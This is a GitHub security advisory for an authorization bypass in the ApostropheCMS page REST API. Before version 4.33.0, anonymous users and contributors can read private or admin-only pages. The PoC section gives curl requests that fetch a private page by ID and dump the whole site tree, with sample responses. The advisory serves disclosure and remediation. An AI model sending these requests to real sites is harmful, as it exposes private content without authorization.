GitHub Advisoryadvisory · npm
GHSA-2j32-q6rx-h844 ApostropheCMS: Page REST API authorization bypass
MEDIUM
Official page ↗
- Aliases
- CVE-2026-113670
- Ecosystem
- npm
- Packages
- apostrophe
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-863
- Reviewed
- 2026-10-20
Affected packages
• npm apostrophe: < 4.33.0 → fixed in 4.33.0
Description
Summary
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.
Details
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
• `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.
• `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.
• `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.
• Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.
PoC
```
Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
→ 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
"type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
→ 200 secretData = TOP-SECRET-VALUE-abc123
Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
```
Impact
Unauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.
Remediation — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.
Related
Alias · not in database (1)
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844 web
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce web
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350 web
- https://github.com/apostrophecms/apostrophe package
- https://github.com/apostrophecms/apostrophe/releases/tag/[email protected] web